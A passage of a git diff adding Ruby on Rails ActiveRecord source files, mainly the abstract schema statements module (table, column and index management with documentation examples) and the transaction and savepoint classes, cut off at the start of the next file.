+ # If the subnet mask is equal to /32, don't output it
+ if subnet_mask == (2**32 - 1)
+ "\"#{value.to_s}\""
+ else
+ "\"#{value.to_s}/#{subnet_mask.to_s(2).count('1')}\""
+ end
+ else
+ value.inspect
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
new file mode 100644
index 0000000..9c0c4e3
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
@@ -0,0 +1,873 @@
+require 'active_record/migration/join_table'
+
+module ActiveRecord
+ module ConnectionAdapters # :nodoc:
+ module SchemaStatements
+ include ActiveRecord::Migration::JoinTable
+
+ # Returns a hash of mappings from the abstract data types to the native
+ # database types. See TableDefinition#column for details on the recognized
+ # abstract data types.
+ def native_database_types
+ {}
+ end
+
+ # Truncates a table alias according to the limits of the current adapter.
+ def table_alias_for(table_name)
+ table_name[0...table_alias_length].tr('.', '_')
+ end
+
+ # Checks to see if the table +table_name+ exists on the database.
+ #
+ # table_exists?(:developers)
+ #
+ def table_exists?(table_name)
+ tables.include?(table_name.to_s)
+ end
+
+ # Returns an array of indexes for the given table.
+ # def indexes(table_name, name = nil) end
+
+ # Checks to see if an index exists on a table for a given index definition.
+ #
+ # # Check an index exists
+ # index_exists?(:suppliers, :company_id)
+ #
+ # # Check an index on multiple columns exists
+ # index_exists?(:suppliers, [:company_id, :company_type])
+ #
+ # # Check a unique index exists
+ # index_exists?(:suppliers, :company_id, unique: true)
+ #
+ # # Check an index with a custom name exists
+ # index_exists?(:suppliers, :company_id, name: "idx_company_id"
+ #
+ def index_exists?(table_name, column_name, options = {})
+ column_names = Array(column_name)
+ index_name = options.key?(:name) ? options[:name].to_s : index_name(table_name, :column => column_names)
+ if options[:unique]
+ indexes(table_name).any?{ |i| i.unique && i.name == index_name }
+ else
+ indexes(table_name).any?{ |i| i.name == index_name }
+ end
+ end
+
+ # Returns an array of Column objects for the table specified by +table_name+.
+ # See the concrete implementation for details on the expected parameter values.
+ def columns(table_name) end
+
+ # Checks to see if a column exists in a given table.
+ #
+ # # Check a column exists
+ # column_exists?(:suppliers, :name)
+ #
+ # # Check a column exists of a particular type
+ # column_exists?(:suppliers, :name, :string)
+ #
+ # # Check a column exists with a specific definition
+ # column_exists?(:suppliers, :name, :string, limit: 100)
+ # column_exists?(:suppliers, :name, :string, default: 'default')
+ # column_exists?(:suppliers, :name, :string, null: false)
+ # column_exists?(:suppliers, :tax, :decimal, precision: 8, scale: 2)
+ #
+ def column_exists?(table_name, column_name, type = nil, options = {})
+ columns(table_name).any?{ |c| c.name == column_name.to_s &&
+ (!type || c.type == type) &&
+ (!options.key?(:limit) || c.limit == options[:limit]) &&
+ (!options.key?(:precision) || c.precision == options[:precision]) &&
+ (!options.key?(:scale) || c.scale == options[:scale]) &&
+ (!options.key?(:default) || c.default == options[:default]) &&
+ (!options.key?(:null) || c.null == options[:null]) }
+ end
+
+ # Creates a new table with the name +table_name+. +table_name+ may either
+ # be a String or a Symbol.
+ #
+ # There are two ways to work with +create_table+. You can use the block
+ # form or the regular form, like this:
+ #
+ # === Block form
+ #
+ # # create_table() passes a TableDefinition object to the block.
+ # # This form will not only create the table, but also columns for the
+ # # table.
+ #
+ # create_table(:suppliers) do |t|
+ # t.column :name, :string, limit: 60
+ # # Other fields here
+ # end
+ #
+ # === Block form, with shorthand
+ #
+ # # You can also use the column types as method calls, rather than calling the column method.
+ # create_table(:suppliers) do |t|
+ # t.string :name, limit: 60
+ # # Other fields here
+ # end
+ #
+ # === Regular form
+ #
+ # # Creates a table called 'suppliers' with no columns.
+ # create_table(:suppliers)
+ # # Add a column to 'suppliers'.
+ # add_column(:suppliers, :name, :string, {limit: 60})
+ #
+ # The +options+ hash can include the following keys:
+ # [<tt>:id</tt>]
+ # Whether to automatically add a primary key column. Defaults to true.
+ # Join tables for +has_and_belongs_to_many+ should set it to false.
+ # [<tt>:primary_key</tt>]
+ # The name of the primary key, if one is to be added automatically.
+ # Defaults to +id+. If <tt>:id</tt> is false this option is ignored.
+ #
+ # Also note that this just sets the primary key in the table. You additionally
+ # need to configure the primary key in the model via +self.primary_key=+.
+ # Models do NOT auto-detect the primary key from their table definition.
+ #
+ # [<tt>:options</tt>]
+ # Any extra options you want appended to the table definition.
+ # [<tt>:temporary</tt>]
+ # Make a temporary table.
+ # [<tt>:force</tt>]
+ # Set to true to drop the table before creating it.
+ # Defaults to false.
+ #
+ # ====== Add a backend specific option to the generated SQL (MySQL)
+ #
+ # create_table(:suppliers, options: 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
+ #
+ # generates:
+ #
+ # CREATE TABLE suppliers (
+ # id int(11) DEFAULT NULL auto_increment PRIMARY KEY
+ # ) ENGINE=InnoDB DEFAULT CHARSET=utf8
+ #
+ # ====== Rename the primary key column
+ #
+ # create_table(:objects, primary_key: 'guid') do |t|
+ # t.column :name, :string, limit: 80
+ # end
+ #
+ # generates:
+ #
+ # CREATE TABLE objects (
+ # guid int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+ # name varchar(80)
+ # )
+ #
+ # ====== Do not add a primary key column
+ #
+ # create_table(:categories_suppliers, id: false) do |t|
+ # t.column :category_id, :integer
+ # t.column :supplier_id, :integer
+ # end
+ #
+ # generates:
+ #
+ # CREATE TABLE categories_suppliers (
+ # category_id int,
+ # supplier_id int
+ # )
+ #
+ # See also TableDefinition#column for details on how to create columns.
+ def create_table(table_name, options = {})
+ td = create_table_definition table_name, options[:temporary], options[:options]
+
+ unless options[:id] == false
+ pk = options.fetch(:primary_key) {
+ Base.get_primary_key table_name.to_s.singularize
+ }
+
+ td.primary_key pk, options.fetch(:id, :primary_key), options
+ end
+
+ yield td if block_given?
+
+ if options[:force] && table_exists?(table_name)
+ drop_table(table_name, options)
+ end
+
+ execute schema_creation.accept td
+ td.indexes.each_pair { |c,o| add_index table_name, c, o }
+ end
+
+ # Creates a new join table with the name created using the lexical order of the first two
+ # arguments. These arguments can be a String or a Symbol.
+ #
+ # # Creates a table called 'assemblies_parts' with no id.
+ # create_join_table(:assemblies, :parts)
+ #
+ # You can pass a +options+ hash can include the following keys:
+ # [<tt>:table_name</tt>]
+ # Sets the table name overriding the default
+ # [<tt>:column_options</tt>]
+ # Any extra options you want appended to the columns definition.
+ # [<tt>:options</tt>]
+ # Any extra options you want appended to the table definition.
+ # [<tt>:temporary</tt>]
+ # Make a temporary table.
+ # [<tt>:force</tt>]
+ # Set to true to drop the table before creating it.
+ # Defaults to false.
+ #
+ # Note that +create_join_table+ does not create any indices by default; you can use
+ # its block form to do so yourself:
+ #
+ # create_join_table :products, :categories do |t|
+ # t.index :products
+ # t.index :categories
+ # end
+ #
+ # ====== Add a backend specific option to the generated SQL (MySQL)
+ #
+ # create_join_table(:assemblies, :parts, options: 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
+ #
+ # generates:
+ #
+ # CREATE TABLE assemblies_parts (
+ # assembly_id int NOT NULL,
+ # part_id int NOT NULL,
+ # ) ENGINE=InnoDB DEFAULT CHARSET=utf8
+ #
+ def create_join_table(table_1, table_2, options = {})
+ join_table_name = find_join_table_name(table_1, table_2, options)
+
+ column_options = options.delete(:column_options) || {}
+ column_options.reverse_merge!(null: false)
+
+ t1_column, t2_column = [table_1, table_2].map{ |t| t.to_s.singularize.foreign_key }
+
+ create_table(join_table_name, options.merge!(id: false)) do |td|
+ td.integer t1_column, column_options
+ td.integer t2_column, column_options
+ yield td if block_given?
+ end
+ end
+
+ # Drops the join table specified by the given arguments.
+ # See +create_join_table+ for details.
+ #
+ # Although this command ignores the block if one is given, it can be helpful
+ # to provide one in a migration's +change+ method so it can be reverted.
+ # In that case, the block will be used by create_join_table.
+ def drop_join_table(table_1, table_2, options = {})
+ join_table_name = find_join_table_name(table_1, table_2, options)
+ drop_table(join_table_name)
+ end
+
+ # A block for changing columns in +table+.
+ #
+ # # change_table() yields a Table instance
+ # change_table(:suppliers) do |t|
+ # t.column :name, :string, limit: 60
+ # # Other column alterations here
+ # end
+ #
+ # The +options+ hash can include the following keys:
+ # [<tt>:bulk</tt>]
+ # Set this to true to make this a bulk alter query, such as
+ #
+ # ALTER TABLE `users` ADD COLUMN age INT(11), ADD COLUMN birthdate DATETIME ...
+ #
+ # Defaults to false.
+ #
+ # ====== Add a column
+ #
+ # change_table(:suppliers) do |t|
+ # t.column :name, :string, limit: 60
+ # end
+ #
+ # ====== Add 2 integer columns
+ #
+ # change_table(:suppliers) do |t|
+ # t.integer :width, :height, null: false, default: 0
+ # end
+ #
+ # ====== Add created_at/updated_at columns
+ #
+ # change_table(:suppliers) do |t|
+ # t.timestamps
+ # end
+ #
+ # ====== Add a foreign key column
+ #
+ # change_table(:suppliers) do |t|
+ # t.references :company
+ # end
+ #
+ # Creates a <tt>company_id(integer)</tt> column.
+ #
+ # ====== Add a polymorphic foreign key column
+ #
+ # change_table(:suppliers) do |t|
+ # t.belongs_to :company, polymorphic: true
+ # end
+ #
+ # Creates <tt>company_type(varchar)</tt> and <tt>company_id(integer)</tt> columns.
+ #
+ # ====== Remove a column
+ #
+ # change_table(:suppliers) do |t|
+ # t.remove :company
+ # end
+ #
+ # ====== Remove several columns
+ #
+ # change_table(:suppliers) do |t|
+ # t.remove :company_id
+ # t.remove :width, :height
+ # end
+ #
+ # ====== Remove an index
+ #
+ # change_table(:suppliers) do |t|
+ # t.remove_index :company_id
+ # end
+ #
+ # See also Table for details on all of the various column transformation.
+ def change_table(table_name, options = {})
+ if supports_bulk_alter? && options[:bulk]
+ recorder = ActiveRecord::Migration::CommandRecorder.new(self)
+ yield update_table_definition(table_name, recorder)
+ bulk_change_table(table_name, recorder.commands)
+ else
+ yield update_table_definition(table_name, self)
+ end
+ end
+
+ # Renames a table.
+ #
+ # rename_table('octopuses', 'octopi')
+ #
+ def rename_table(table_name, new_name)
+ raise NotImplementedError, "rename_table is not implemented"
+ end
+
+ # Drops a table from the database.
+ #
+ # Although this command ignores +options+ and the block if one is given, it can be helpful
+ # to provide these in a migration's +change+ method so it can be reverted.
+ # In that case, +options+ and the block will be used by create_table.
+ def drop_table(table_name, options = {})
+ execute "DROP TABLE #{quote_table_name(table_name)}"
+ end
+
+ # Adds a new column to the named table.
+ # See TableDefinition#column for details of the options you can use.
+ def add_column(table_name, column_name, type, options = {})
+ at = create_alter_table table_name
+ at.add_column(column_name, type, options)
+ execute schema_creation.accept at
+ end
+
+ # Removes the given columns from the table definition.
+ #
+ # remove_columns(:suppliers, :qualification, :experience)
+ #
+ def remove_columns(table_name, *column_names)
+ raise ArgumentError.new("You must specify at least one column name. Example: remove_columns(:people, :first_name)") if column_names.empty?
+ column_names.each do |column_name|
+ remove_column(table_name, column_name)
+ end
+ end
+
+ # Removes the column from the table definition.
+ #
+ # remove_column(:suppliers, :qualification)
+ #
+ # The +type+ and +options+ parameters will be ignored if present. It can be helpful
+ # to provide these in a migration's +change+ method so it can be reverted.
+ # In that case, +type+ and +options+ will be used by add_column.
+ def remove_column(table_name, column_name, type = nil, options = {})
+ execute "ALTER TABLE #{quote_table_name(table_name)} DROP #{quote_column_name(column_name)}"
+ end
+
+ # Changes the column's definition according to the new options.
+ # See TableDefinition#column for details of the options you can use.
+ #
+ # change_column(:suppliers, :name, :string, limit: 80)
+ # change_column(:accounts, :description, :text)
+ #
+ def change_column(table_name, column_name, type, options = {})
+ raise NotImplementedError, "change_column is not implemented"
+ end
+
+ # Sets a new default value for a column:
+ #
+ # change_column_default(:suppliers, :qualification, 'new')
+ # change_column_default(:accounts, :authorized, 1)
+ #
+ # Setting the default to +nil+ effectively drops the default:
+ #
+ # change_column_default(:users, :email, nil)
+ #
+ def change_column_default(table_name, column_name, default)
+ raise NotImplementedError, "change_column_default is not implemented"
+ end
+
+ # Sets or removes a +NOT NULL+ constraint on a column. The +null+ flag
+ # indicates whether the value can be +NULL+. For example
+ #
+ # change_column_null(:users, :nickname, false)
+ #
+ # says nicknames cannot be +NULL+ (adds the constraint), whereas
+ #
+ # change_column_null(:users, :nickname, true)
+ #
+ # allows them to be +NULL+ (drops the constraint).
+ #
+ # The method accepts an optional fourth argument to replace existing
+ # +NULL+s with some other value. Use that one when enabling the
+ # constraint if needed, since otherwise those rows would not be valid.
+ #
+ # Please note the fourth argument does not set a column's default.
+ def change_column_null(table_name, column_name, null, default = nil)
+ raise NotImplementedError, "change_column_null is not implemented"
+ end
+
+ # Renames a column.
+ #
+ # rename_column(:suppliers, :description, :name)
+ #
+ def rename_column(table_name, column_name, new_column_name)
+ raise NotImplementedError, "rename_column is not implemented"
+ end
+
+ # Adds a new index to the table. +column_name+ can be a single Symbol, or
+ # an Array of Symbols.
+ #
+ # The index will be named after the table and the column name(s), unless
+ # you pass <tt>:name</tt> as an option.
+ #
+ # ====== Creating a simple index
+ #
+ # add_index(:suppliers, :name)
+ #
+ # generates:
+ #
+ # CREATE INDEX suppliers_name_index ON suppliers(name)
+ #
+ # ====== Creating a unique index
+ #
+ # add_index(:accounts, [:branch_id, :party_id], unique: true)
+ #
+ # generates:
+ #
+ # CREATE UNIQUE INDEX accounts_branch_id_party_id_index ON accounts(branch_id, party_id)
+ #
+ # ====== Creating a named index
+ #
+ # add_index(:accounts, [:branch_id, :party_id], unique: true, name: 'by_branch_party')
+ #
+ # generates:
+ #
+ # CREATE UNIQUE INDEX by_branch_party ON accounts(branch_id, party_id)
+ #
+ # ====== Creating an index with specific key length
+ #
+ # add_index(:accounts, :name, name: 'by_name', length: 10)
+ #
+ # generates:
+ #
+ # CREATE INDEX by_name ON accounts(name(10))
+ #
+ # add_index(:accounts, [:name, :surname], name: 'by_name_surname', length: {name: 10, surname: 15})
+ #
+ # generates:
+ #
+ # CREATE INDEX by_name_surname ON accounts(name(10), surname(15))
+ #
+ # Note: SQLite doesn't support index length.
+ #
+ # ====== Creating an index with a sort order (desc or asc, asc is the default)
+ #
+ # add_index(:accounts, [:branch_id, :party_id, :surname], order: {branch_id: :desc, party_id: :asc})
+ #
+ # generates:
+ #
+ # CREATE INDEX by_branch_desc_party ON accounts(branch_id DESC, party_id ASC, surname)
+ #
+ # Note: MySQL doesn't yet support index order (it accepts the syntax but ignores it).
+ #
+ # ====== Creating a partial index
+ #
+ # add_index(:accounts, [:branch_id, :party_id], unique: true, where: "active")
+ #
+ # generates:
+ #
+ # CREATE UNIQUE INDEX index_accounts_on_branch_id_and_party_id ON accounts(branch_id, party_id) WHERE active
+ #
+ # ====== Creating an index with a specific method
+ #
+ # add_index(:developers, :name, using: 'btree')
+ #
+ # generates:
+ #
+ # CREATE INDEX index_developers_on_name ON developers USING btree (name) -- PostgreSQL
+ # CREATE INDEX index_developers_on_name USING btree ON developers (name) -- MySQL
+ #
+ # Note: only supported by PostgreSQL and MySQL
+ #
+ # ====== Creating an index with a specific type
+ #
+ # add_index(:developers, :name, type: :fulltext)
+ #
+ # generates:
+ #
+ # CREATE FULLTEXT INDEX index_developers_on_name ON developers (name) -- MySQL
+ #
+ # Note: only supported by MySQL. Supported: <tt>:fulltext</tt> and <tt>:spatial</tt> on MyISAM tables.
+ def add_index(table_name, column_name, options = {})
+ index_name, index_type, index_columns, index_options = add_index_options(table_name, column_name, options)
+ execute "CREATE #{index_type} INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} (#{index_columns})#{index_options}"
+ end
+
+ # Removes the given index from the table.
+ #
+ # Removes the +index_accounts_on_column+ in the +accounts+ table.
+ #
+ # remove_index :accounts, :column
+ #
+ # Removes the index named +index_accounts_on_branch_id+ in the +accounts+ table.
+ #
+ # remove_index :accounts, column: :branch_id
+ #
+ # Removes the index named +index_accounts_on_branch_id_and_party_id+ in the +accounts+ table.
+ #
+ # remove_index :accounts, column: [:branch_id, :party_id]
+ #
+ # Removes the index named +by_branch_party+ in the +accounts+ table.
+ #
+ # remove_index :accounts, name: :by_branch_party
+ #
+ def remove_index(table_name, options = {})
+ remove_index!(table_name, index_name_for_remove(table_name, options))
+ end
+
+ def remove_index!(table_name, index_name) #:nodoc:
+ execute "DROP INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)}"
+ end
+
+ # Renames an index.
+ #
+ # Rename the +index_people_on_last_name+ index to +index_users_on_last_name+:
+ #
+ # rename_index :people, 'index_people_on_last_name', 'index_users_on_last_name'
+ #
+ def rename_index(table_name, old_name, new_name)
+ # this is a naive implementation; some DBs may support this more efficiently (Postgres, for instance)
+ old_index_def = indexes(table_name).detect { |i| i.name == old_name }
+ return unless old_index_def
+ remove_index(table_name, :name => old_name)
+ add_index(table_name, old_index_def.columns, :name => new_name, :unique => old_index_def.unique)
+ end
+
+ def index_name(table_name, options) #:nodoc:
+ if Hash === options
+ if options[:column]
+ "index_#{table_name}_on_#{Array(options[:column]) * '_and_'}"
+ elsif options[:name]
+ options[:name]
+ else
+ raise ArgumentError, "You must specify the index name"
+ end
+ else
+ index_name(table_name, :column => options)
+ end
+ end
+
+ # Verifies the existence of an index with a given name.
+ #
+ # The default argument is returned if the underlying implementation does not define the indexes method,
+ # as there's no way to determine the correct answer in that case.
+ def index_name_exists?(table_name, index_name, default)
+ return default unless respond_to?(:indexes)
+ index_name = index_name.to_s
+ indexes(table_name).detect { |i| i.name == index_name }
+ end
+
+ # Adds a reference. Optionally adds a +type+ column, if <tt>:polymorphic</tt> option is provided.
+ # <tt>add_reference</tt> and <tt>add_belongs_to</tt> are acceptable.
+ #
+ # ====== Create a user_id column
+ #
+ # add_reference(:products, :user)
+ #
+ # ====== Create a supplier_id and supplier_type columns
+ #
+ # add_belongs_to(:products, :supplier, polymorphic: true)
+ #
+ # ====== Create a supplier_id, supplier_type columns and appropriate index
+ #
+ # add_reference(:products, :supplier, polymorphic: true, index: true)
+ #
+ def add_reference(table_name, ref_name, options = {})
+ polymorphic = options.delete(:polymorphic)
+ index_options = options.delete(:index)
+ add_column(table_name, "#{ref_name}_id", :integer, options)
+ add_column(table_name, "#{ref_name}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) if polymorphic
+ add_index(table_name, polymorphic ? %w[id type].map{ |t| "#{ref_name}_#{t}" } : "#{ref_name}_id", index_options.is_a?(Hash) ? index_options : nil) if index_options
+ end
+ alias :add_belongs_to :add_reference
+
+ # Removes the reference(s). Also removes a +type+ column if one exists.
+ # <tt>remove_reference</tt>, <tt>remove_references</tt> and <tt>remove_belongs_to</tt> are acceptable.
+ #
+ # ====== Remove the reference
+ #
+ # remove_reference(:products, :user, index: true)
+ #
+ # ====== Remove polymorphic reference
+ #
+ # remove_reference(:products, :supplier, polymorphic: true)
+ #
+ def remove_reference(table_name, ref_name, options = {})
+ remove_column(table_name, "#{ref_name}_id")
+ remove_column(table_name, "#{ref_name}_type") if options[:polymorphic]
+ end
+ alias :remove_belongs_to :remove_reference
+
+ def dump_schema_information #:nodoc:
+ sm_table = ActiveRecord::Migrator.schema_migrations_table_name
+
+ ActiveRecord::SchemaMigration.order('version').map { |sm|
+ "INSERT INTO #{sm_table} (version) VALUES ('#{sm.version}');"
+ }.join "\n\n"
+ end
+
+ # Should not be called normally, but this operation is non-destructive.
+ # The migrations module handles this automatically.
+ def initialize_schema_migrations_table
+ ActiveRecord::SchemaMigration.create_table
+ end
+
+ def assume_migrated_upto_version(version, migrations_paths = ActiveRecord::Migrator.migrations_paths)
+ migrations_paths = Array(migrations_paths)
+ version = version.to_i
+ sm_table = quote_table_name(ActiveRecord::Migrator.schema_migrations_table_name)
+
+ migrated = select_values("SELECT version FROM #{sm_table}").map { |v| v.to_i }
+ paths = migrations_paths.map {|p| "#{p}/[0-9]*_*.rb" }
+ versions = Dir[*paths].map do |filename|
+ filename.split('/').last.split('_').first.to_i
+ end
+
+ unless migrated.include?(version)
+ execute "INSERT INTO #{sm_table} (version) VALUES ('#{version}')"
+ end
+
+ inserted = Set.new
+ (versions - migrated).each do |v|
+ if inserted.include?(v)
+ raise "Duplicate migration #{v}. Please renumber your migrations to resolve the conflict."
+ elsif v < version
+ execute "INSERT INTO #{sm_table} (version) VALUES ('#{v}')"
+ inserted << v
+ end
+ end
+ end
+
+ def type_to_sql(type, limit = nil, precision = nil, scale = nil) #:nodoc:
+ if native = native_database_types[type.to_sym]
+ column_type_sql = (native.is_a?(Hash) ? native[:name] : native).dup
+
+ if type == :decimal # ignore limit, use precision and scale
+ scale ||= native[:scale]
+
+ if precision ||= native[:precision]
+ if scale
+ column_type_sql << "(#{precision},#{scale})"
+ else
+ column_type_sql << "(#{precision})"
+ end
+ elsif scale
+ raise ArgumentError, "Error adding decimal column: precision cannot be empty if scale is specified"
+ end
+
+ elsif (type != :primary_key) && (limit ||= native.is_a?(Hash) && native[:limit])
+ column_type_sql << "(#{limit})"
+ end
+
+ column_type_sql
+ else
+ type
+ end
+ end
+
+ def add_column_options!(sql, options) #:nodoc:
+ sql << " DEFAULT #{quote(options[:default], options[:column])}" if options_include_default?(options)
+ # must explicitly check for :null to allow change_column to work on migrations
+ if options[:null] == false
+ sql << " NOT NULL"
+ end
+ if options[:auto_increment] == true
+ sql << " AUTO_INCREMENT"
+ end
+ end
+
+ # SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
+ # Both PostgreSQL and Oracle overrides this for custom DISTINCT syntax.
+ #
+ # distinct("posts.id", "posts.created_at desc")
+ #
+ def distinct(columns, order_by)
+ "DISTINCT #{columns}"
+ end
+
+ # Adds timestamps (+created_at+ and +updated_at+) columns to the named table.
+ #
+ # add_timestamps(:suppliers)
+ #
+ def add_timestamps(table_name)
+ add_column table_name, :created_at, :datetime
+ add_column table_name, :updated_at, :datetime
+ end
+
+ # Removes the timestamp columns (+created_at+ and +updated_at+) from the table definition.
+ #
+ # remove_timestamps(:suppliers)
+ #
+ def remove_timestamps(table_name)
+ remove_column table_name, :updated_at
+ remove_column table_name, :created_at
+ end
+
+ protected
+ def add_index_sort_order(option_strings, column_names, options = {})
+ if options.is_a?(Hash) && order = options[:order]
+ case order
+ when Hash
+ column_names.each {|name| option_strings[name] += " #{order[name].upcase}" if order.has_key?(name)}
+ when String
+ column_names.each {|name| option_strings[name] += " #{order.upcase}"}
+ end
+ end
+
+ return option_strings
+ end
+
+ # Overridden by the mysql adapter for supporting index lengths
+ def quoted_columns_for_index(column_names, options = {})
+ option_strings = Hash[column_names.map {|name| [name, '']}]
+
+ # add index sort order if supported
+ if supports_index_sort_order?
+ option_strings = add_index_sort_order(option_strings, column_names, options)
+ end
+
+ column_names.map {|name| quote_column_name(name) + option_strings[name]}
+ end
+
+ def options_include_default?(options)
+ options.include?(:default) && !(options[:null] == false && options[:default].nil?)
+ end
+
+ def add_index_options(table_name, column_name, options = {})
+ column_names = Array(column_name)
+ index_name = index_name(table_name, column: column_names)
+
+ if Hash === options # legacy support, since this param was a string
+ options.assert_valid_keys(:unique, :order, :name, :where, :length, :internal, :using, :algorithm, :type)
+
+ index_type = options[:unique] ? "UNIQUE" : ""
+ index_type = options[:type].to_s if options.key?(:type)
+ index_name = options[:name].to_s if options.key?(:name)
+ max_index_length = options.fetch(:internal, false) ? index_name_length : allowed_index_name_length
+
+ if options.key?(:algorithm)
+ algorithm = index_algorithms.fetch(options[:algorithm]) {
+ raise ArgumentError.new("Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}")
+ }
+ end
+
+ using = "USING #{options[:using]}" if options[:using].present?
+
+ if supports_partial_index?
+ index_options = options[:where] ? " WHERE #{options[:where]}" : ""
+ end
+ else
+ if options
+ message = "Passing a string as third argument of `add_index` is deprecated and will" +
+ " be removed in Rails 4.1." +
+ " Use add_index(#{table_name.inspect}, #{column_name.inspect}, unique: true) instead"
+
+ ActiveSupport::Deprecation.warn message
+ end
+
+ index_type = options
+ max_index_length = allowed_index_name_length
+ algorithm = using = nil
+ end
+
+ if index_name.length > max_index_length
+ raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' is too long; the limit is #{max_index_length} characters"
+ end
+ if index_name_exists?(table_name, index_name, false)
+ raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' already exists"
+ end
+ index_columns = quoted_columns_for_index(column_names, options).join(", ")
+
+ [index_name, index_type, index_columns, index_options, algorithm, using]
+ end
+
+ def index_name_for_remove(table_name, options = {})
+ index_name = index_name(table_name, options)
+
+ unless index_name_exists?(table_name, index_name, true)
+ if options.is_a?(Hash) && options.has_key?(:name)
+ options_without_column = options.dup
+ options_without_column.delete :column
+ index_name_without_column = index_name(table_name, options_without_column)
+
+ return index_name_without_column if index_name_exists?(table_name, index_name_without_column, false)
+ end
+
+ raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' does not exist"
+ end
+
+ index_name
+ end
+
+ def columns_for_remove(table_name, *column_names)
+ ActiveSupport::Deprecation.warn("columns_for_remove is deprecated and will be removed in the future")
+ raise ArgumentError.new("You must specify at least one column name. Example: remove_columns(:people, :first_name)") if column_names.blank?
+ column_names.map {|column_name| quote_column_name(column_name) }
+ end
+
+ def rename_table_indexes(table_name, new_name)
+ indexes(new_name).each do |index|
+ generated_index_name = index_name(table_name, column: index.columns)
+ if generated_index_name == index.name
+ rename_index new_name, generated_index_name, index_name(new_name, column: index.columns)
+ end
+ end
+ end
+
+ def rename_column_indexes(table_name, column_name, new_column_name)
+ column_name, new_column_name = column_name.to_s, new_column_name.to_s
+ indexes(table_name).each do |index|
+ next unless index.columns.include?(new_column_name)
+ old_columns = index.columns.dup
+ old_columns[old_columns.index(new_column_name)] = column_name
+ generated_index_name = index_name(table_name, column: old_columns)
+ if generated_index_name == index.name
+ rename_index table_name, generated_index_name, index_name(table_name, column: index.columns)
+ end
+ end
+ end
+
+ private
+ def create_table_definition(name, temporary, options)
+ TableDefinition.new native_database_types, name, temporary, options
+ end
+
+ def create_alter_table(name)
+ AlterTable.new create_table_definition(name, false, {})
+ end
+
+ def update_table_definition(table_name, base)
+ Table.new(table_name, base)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
new file mode 100644
index 0000000..2b66854
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
@@ -0,0 +1,203 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class Transaction #:nodoc:
+ attr_reader :connection
+
+ def initialize(connection)
+ @connection = connection
+ @state = TransactionState.new
+ end
+
+ def state
+ @state
+ end
+ end
+
+ class TransactionState
+ attr_accessor :parent
+
+ VALID_STATES = Set.new([:committed, :rolledback, nil])
+
+ def initialize(state = nil)
+ @state = state
+ @parent = nil
+ end
+
+ def committed?
+ @state == :committed
+ end
+
+ def rolledback?
+ @state == :rolledback
+ end
+
+ def set_state(state)
+ if !VALID_STATES.include?(state)
+ raise ArgumentError, "Invalid transaction state: #{state}"
+ end
+ @state = state
+ end
+ end
+
+ class ClosedTransaction < Transaction #:nodoc:
+ def number
+ 0
+ end
+
+ def begin(options = {})
+ RealTransaction.new(connection, self, options)
+ end
+
+ def closed?
+ true
+ end
+
+ def open?
+ false
+ end
+
+ def joinable?
+ false
+ end
+
+ # This is a noop when there are no open transactions
+ def add_record(record)
+ end
+ end
+
+ class OpenTransaction < Transaction #:nodoc:
+ attr_reader :parent, :records
+ attr_writer :joinable
+
+ def initialize(connection, parent, options = {})
+ super connection
+
+ @parent = parent
+ @records = []
+ @finishing = false
+ @joinable = options.fetch(:joinable, true)
+ end
+
+ # This state is necessary so that we correctly handle stuff that might
+ # happen in a commit/rollback. But it's kinda distasteful. Maybe we can
+ # find a better way to structure it in the future.
+ def finishing?
+ @finishing
+ end
+
+ def joinable?
+ @joinable && !finishing?
+ end
+
+ def number
+ if finishing?
+ parent.number
+ else
+ parent.number + 1
+ end
+ end
+
+ def begin(options = {})
+ if finishing?
+ parent.begin
+ else
+ SavepointTransaction.new(connection, self, options)
+ end
+ end
+
+ def rollback
+ @finishing = true
+ perform_rollback
+ parent
+ end
+
+ def commit
+ @finishing = true
+ perform_commit
+ parent
+ end
+
+ def add_record(record)
+ if record.has_transactional_callbacks?
+ records << record
+ else
+ record.set_transaction_state(@state)
+ end
+ end
+
+ def rollback_records
+ @state.set_state(:rolledback)
+ records.uniq.each do |record|
+ begin
+ record.rolledback!(parent.closed?)
+ rescue => e
+ record.logger.error(e) if record.respond_to?(:logger) && record.logger
+ end
+ end
+ end
+
+ def commit_records
+ @state.set_state(:committed)
+ records.uniq.each do |record|
+ begin
+ record.committed!
+ rescue => e
+ record.logger.error(e) if record.respond_to?(:logger) && record.logger
+ end
+ end
+ end
+
+ def closed?
+ false
+ end
+
+ def open?
+ true
+ end
+ end
+
+ class RealTransaction < OpenTransaction #:nodoc:
+ def initialize(connection, parent, options = {})
+ super
+
+ if options[:isolation]
+ connection.begin_isolated_db_transaction(options[:isolation])
+ else
+ connection.begin_db_transaction
+ end
+ end
+
+ def perform_rollback
+ connection.rollback_db_transaction
+ rollback_records
+ end
+
+ def perform_commit
+ connection.commit_db_transaction
+ commit_records
+ end
+ end
+
+ class SavepointTransaction < OpenTransaction #:nodoc:
+ def initialize(connection, parent, options = {})
+ if options[:isolation]
+ raise ActiveRecord::TransactionIsolationError, "cannot set transaction isolation in a nested transaction"
+ end
+
+ super
+ connection.create_savepoint
+ end
+
+ def perform_rollback
+ connection.rollback_to_savepoint
+ rollback_records
+ end
+
+ def perform_commit
+ @state.set_state(:committed)
+ @state.parent = parent.state
+ connection.release_savepoint
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
new file mode 100644
index 0000000..26586f0
--- /dev/null
